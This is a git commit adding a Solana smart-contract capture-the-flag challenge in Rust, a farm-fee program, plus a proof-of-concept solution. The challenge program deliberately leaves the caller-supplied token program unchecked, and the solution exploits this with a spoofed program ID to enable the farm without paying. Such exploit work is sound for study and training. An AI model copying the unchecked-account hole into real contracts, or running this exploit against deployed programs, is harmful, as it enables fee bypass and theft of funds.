First commit

This commit is contained in:
voidz0r 2022-03-29 03:56:59 +02:00
parent 4e289b840e
commit 5118474336
11 changed files with 506 additions and 0 deletions

33
ctf/.vscode/tasks.json vendored Normal file
View File

@ -0,0 +1,33 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "run poc",
"type": "cargo",
"command": "run",
"args": [
"--bin",
"poc"
],
"group": "build",
"env": {
"RUST_BACKTRACE": "1"
},
"dependsOn": [
"build contracts"
]
},
{
"label": "build contracts",
"type": "cargo",
"command": "build-bpf",
"args": [
"--workspace"
],
"env": {
"RUST_BACKTRACE": "1"
},
"group": "build",
}
]
}

29
ctf/Cargo.toml Normal file
View File

@ -0,0 +1,29 @@
[package]
name = "ctf-solana-farm"
version = "0.1.0"
authors = ["lowprivuser"]
repository = "https://github.com/solana-labs/solana"
license = "Apache-2.0"
homepage = "https://solana.com/"
edition = "2018"
[features]
no-entrypoint = []
test-bpf = []
[dependencies]
borsh = "0.9.1"
borsh-derive = "0.9.1"
solana-program = "1.7.8"
num-derive = "0.3"
num-traits = "0.2"
thiserror = "1.0"
spl-token = { version = "3.2.0", features = [ "no-entrypoint" ] }
[dev-dependencies]
solana-program-test = "1.7.8"
solana-sdk = "1.7.8"
[lib]
name = "ctf_solana_farm"
crate-type = ["cdylib", "lib"]

2
ctf/Xargo.toml Normal file
View File

@ -0,0 +1,2 @@
[target.bpfel-unknown-unknown.dependencies.std]
features = []

1
ctf/src/constant.rs Normal file
View File

@ -0,0 +1 @@
pub const FARM_FEE:u64 = 5000;

45
ctf/src/error.rs Normal file
View File

@ -0,0 +1,45 @@
use {
num_derive::FromPrimitive,
solana_program::{
decode_error::DecodeError,
program_error::ProgramError
},
thiserror::Error
};
#[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)]
pub enum FarmError {
#[error("AlreadyInUse")]
AlreadyInUse,
#[error("InvalidProgramAddress")]
InvalidProgramAddress,
#[error("SignatureMissing")]
SignatureMissing,
#[error("InvalidFeeAccount")]
InvalidFeeAccount,
#[error("WrongPoolMint")]
WrongPoolMint,
#[error("This farm is not allowed yet")]
NotAllowed,
#[error("Wrong Farm Fee")]
InvalidFarmFee,
#[error("Wrong Creator")]
WrongCreator,
}
impl From<FarmError> for ProgramError {
fn from(e: FarmError) -> Self {
ProgramError::Custom(e as u32)
}
}
impl<T> DecodeError<T> for FarmError {
fn type_of() -> &'static str {
"Farm Error"
}
}

70
ctf/src/instruction.rs Normal file
View File

@ -0,0 +1,70 @@
#![allow(clippy::too_many_arguments)]
use {
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
solana_program::{
instruction::{AccountMeta, Instruction},
pubkey::Pubkey,
},
};
#[repr(C)]
#[derive(Clone, Debug, PartialEq, BorshSerialize, BorshDeserialize, BorshSchema)]
pub enum FarmInstruction {
/// Initializes a new Farm.
/// These represent the parameters that will be included from client side
/// [w] - writable (account), [s] - signer (account), [] - readonly (account)
///
/// 0. `[w]` farm account
/// 1. `[]` farm authority
/// 2. `[s]` farm creator
/// 3. nonce
Create {
#[allow(dead_code)]
/// nonce
nonce: u8,
},
/// Creator has to pay a fee to unlock the farm
///
/// 0. `[w]` farm account
/// 1. `[]` farm authority
/// 2. `[s]` farm creator
/// 4. `[]` farm creator token account
/// 5. `[]` fee vault
/// 6. `[]` token program id
/// 7. `[]` farm program id
/// 8. `[]` amount
PayFarmFee(
// farm fee
u64
),
}
/// you can use this helper function to create the PayFarmFee instruction in your client
/// see PayFarmFee enum variant above for account breakdown
/// please note [amount] HAS TO match the farm fee, otherwise your transaction is going to fail
pub fn ix_pay_create_fee(
farm_id: &Pubkey,
authority: &Pubkey,
creator: &Pubkey,
creator_token_account: &Pubkey,
fee_vault: &Pubkey,
token_program_id: &Pubkey,
farm_program_id: &Pubkey,
amount: u64,
) -> Instruction {
let accounts = vec![
AccountMeta::new(*farm_id, false),
AccountMeta::new_readonly(*authority, false),
AccountMeta::new(*creator, true),
AccountMeta::new(*creator_token_account, false),
AccountMeta::new(*fee_vault, false),
AccountMeta::new_readonly(*token_program_id, false),
];
Instruction {
program_id: *farm_program_id,
accounts,
data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(),
}
}

35
ctf/src/lib.rs Normal file
View File

@ -0,0 +1,35 @@
use solana_program::{
account_info::{ AccountInfo},
entrypoint,
entrypoint::ProgramResult,
program_error::PrintProgramError,
pubkey::Pubkey,
};
pub mod error;
pub mod instruction;
pub mod processor;
pub mod state;
pub mod constant;
// this registers the program entrypoint
entrypoint!(process_instruction);
/// this is the program entrypoint
/// this function ALWAYS takes three parameters:
/// the ID of this program, array of accounts and instruction data
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
// process the instruction
if let Err(error) = processor::Processor::process(program_id, accounts, _instruction_data) {
// revert the transaction and print the relevant error to validator log if processing fails
error.print::<error::FarmError>();
Err(error)
} else {
// otherwise return OK
Ok(())
}
}

182
ctf/src/processor.rs Normal file
View File

@ -0,0 +1,182 @@
use {
crate::{
error::FarmError,
instruction::{
FarmInstruction
},
state::{
Farm,
},
constant::{
FARM_FEE,
},
},
borsh::{BorshDeserialize, BorshSerialize},
num_traits::FromPrimitive,
solana_program::{
instruction::{
AccountMeta,
Instruction
},
account_info::{
next_account_info,
AccountInfo,
},
borsh::try_from_slice_unchecked,
decode_error::DecodeError,
entrypoint::ProgramResult,
msg,
program::invoke_signed,
program_error::PrintProgramError,
program_error::ProgramError,
program_pack::Pack,
pubkey::Pubkey,
},
spl_token::{
instruction::TokenInstruction,
state::Account as TokenAccount
}
};
pub struct Processor {}
impl Processor {
/// this is the instruction data router
pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], input: &[u8]) -> ProgramResult {
let instruction = FarmInstruction::try_from_slice(input)?;
// here we route the data based on instruction type
match instruction {
// pay the farm fee
FarmInstruction::PayFarmFee(amount) => {
Self::process_pay_farm_fee(program_id, accounts, amount)
},
// otherwise return an error
_ => Err(FarmError::NotAllowed.into())
}
}
/// this function handles farm fee payment
/// by default, farms are not allowed (inactive)
/// farm creator has to pay 5000 tokens to enable the farm
pub fn process_pay_farm_fee(
program_id: &Pubkey,
accounts: &[AccountInfo],
amount: u64,
) -> ProgramResult {
let account_info_iter = &mut accounts.iter();
let farm_id_info = next_account_info(account_info_iter)?;
let authority_info = next_account_info(account_info_iter)?;
let creator_info = next_account_info(account_info_iter)?;
let creator_token_account_info = next_account_info(account_info_iter)?;
let fee_vault_info = next_account_info(account_info_iter)?;
let token_program_info = next_account_info(account_info_iter)?;
let mut farm_data = try_from_slice_unchecked::<Farm>(&farm_id_info.data.borrow())?;
if farm_data.enabled == 1 {
return Err(FarmError::AlreadyInUse.into());
}
if !creator_info.is_signer {
return Err(FarmError::SignatureMissing.into())
}
if *creator_info.key != farm_data.creator {
return Err(FarmError::WrongCreator.into());
}
if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? {
return Err(FarmError::InvalidProgramAddress.into());
}
if amount != FARM_FEE {
return Err(FarmError::InvalidFarmFee.into());
}
let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data()?)?.owner;
if fee_vault_owner != *authority_info.key {
return Err(FarmError::InvalidFeeAccount.into())
}
Self::token_transfer(
farm_id_info.key,
token_program_info.clone(),
creator_token_account_info.clone(),
fee_vault_info.clone(),
creator_info.clone(),
farm_data.nonce,
amount
)?;
farm_data.enabled = 1;
farm_data
.serialize(&mut *farm_id_info.data.borrow_mut())
.map_err(|e| e.into())
}
/// this function validates the farm authority address
pub fn authority_id(
program_id: &Pubkey,
my_info: &Pubkey,
nonce: u8,
) -> Result<Pubkey, FarmError> {
Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]], program_id)
.or(Err(FarmError::InvalidProgramAddress))
}
/// this function facilitates token transfer
pub fn token_transfer<'a>(
pool: &Pubkey,
token_program: AccountInfo<'a>,
source: AccountInfo<'a>,
destination: AccountInfo<'a>,
authority: AccountInfo<'a>,
nonce: u8,
amount: u64,
) -> Result<(), ProgramError> {
let pool_bytes = pool.to_bytes();
let authority_signature_seeds = [&pool_bytes[..32], &[nonce]];
let signers = &[&authority_signature_seeds[..]];
let data = TokenInstruction::Transfer { amount }.pack();
let mut accounts = Vec::with_capacity(4);
accounts.push(AccountMeta::new(*source.key, false));
accounts.push(AccountMeta::new(*destination.key, false));
accounts.push(AccountMeta::new_readonly(*authority.key, true));
let ix = Instruction {
program_id: *token_program.key,
accounts,
data,
};
invoke_signed(
&ix,
&[source, destination, authority, token_program],
signers,
)
}
}
impl PrintProgramError for FarmError {
fn print<E>(&self)
where
E: 'static + std::error::Error + DecodeError<E> + PrintProgramError + FromPrimitive,
{
match self {
FarmError::AlreadyInUse => msg!("Error: account already in use"),
FarmError::InvalidProgramAddress => msg!("Error: the program address provided doesn't match the value generated by the program"),
FarmError::SignatureMissing => msg!("Error: signature missing"),
FarmError::InvalidFeeAccount => msg!("Error: fee vault mismatch"),
FarmError::WrongPoolMint => msg!("Error: pool mint incorrect"),
FarmError::NotAllowed => msg!("Error: farm not allowed"),
FarmError::InvalidFarmFee => msg!("Error: farm fee incorrect. should be {}",FARM_FEE),
FarmError::WrongCreator => msg!("Error: creator mismatch"),
}
}
}

19
ctf/src/state.rs Normal file
View File

@ -0,0 +1,19 @@
#![allow(clippy::too_many_arguments)]
use {
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
solana_program::{
pubkey::{Pubkey},
},
};
#[repr(C)]
#[derive(Clone, Debug, Default, PartialEq, BorshDeserialize, BorshSerialize, BorshSchema)]
/// this structs describes a Farm
/// all farms are disabled by default
pub struct Farm {
pub enabled: u8,
pub nonce: u8,
pub token_program_id: Pubkey,
pub creator: Pubkey,
pub fee_vault: Pubkey,
}

16
solution/Cargo.toml Normal file
View File

@ -0,0 +1,16 @@
[package]
name = "poc_solana"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
solana-program = "1.8.2"
borsh = "0.9.1"
borsh-derive = "0.9.1"
spl-token = { version = "*", features = ["no-entrypoint"] }
owo-colors = "3.1.0"
solana-logger = "1.8.2"
poc-framework = { version = "0.1.2" }
ctf-solana-farm = { path = "../ctf", features = ["no-entrypoint"] }

74
solution/src/bin/main.rs Normal file
View File

@ -0,0 +1,74 @@
use std::{env, str::FromStr};
use ctf_solana_farm::state::Farm;
use ctf_solana_farm::instruction::ix_pay_create_fee;
use poc_framework::{
keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction
};
use solana_program::{pubkey::Pubkey, native_token::sol_to_lamports};
use borsh::BorshSerialize;
fn main() {
setup();
}
pub fn get_vault_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey {
let (vault_address, _) = Pubkey::find_program_address(
&[&authority.to_bytes(), &"VAULT".as_bytes()],
&wallet_program,
);
vault_address
}
fn setup() -> u8 {
let mut dir = env::current_exe().unwrap();
let path = {
dir.pop();
dir.pop();
dir.push("deploy");
dir.push("ctf_solana_farm.so");
dir.to_str()
}
.unwrap();
let program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let farm = keypair(123);
let authority = Pubkey::create_program_address(&[&farm.pubkey().to_bytes(), &[12]], &program).unwrap();
let victim = keypair(4);
let mint = keypair(5);
let mut env = LocalEnvironment::builder()
.add_program(program, path)
.add_account_with_tokens(victim.pubkey(), mint.pubkey(), farm.pubkey(), sol_to_lamports(31337.0))
.add_account_with_lamports(
authority,
program,
sol_to_lamports(100000.0))
.build();
let farm_vec = Farm {
enabled: 0,
nonce: 12,
token_program_id: program,
creator: farm.pubkey(),
fee_vault: farm.pubkey()
};
env.create_account_with_data(&farm, farm_vec.try_to_vec().unwrap());
env.execute_as_transaction(
&[ix_pay_create_fee(
&farm.pubkey(),
&authority,
&farm.pubkey(),
&farm.pubkey(),
&victim.pubkey(),
&program,
&program,
5000
)],
&[&farm])
.print();
1
}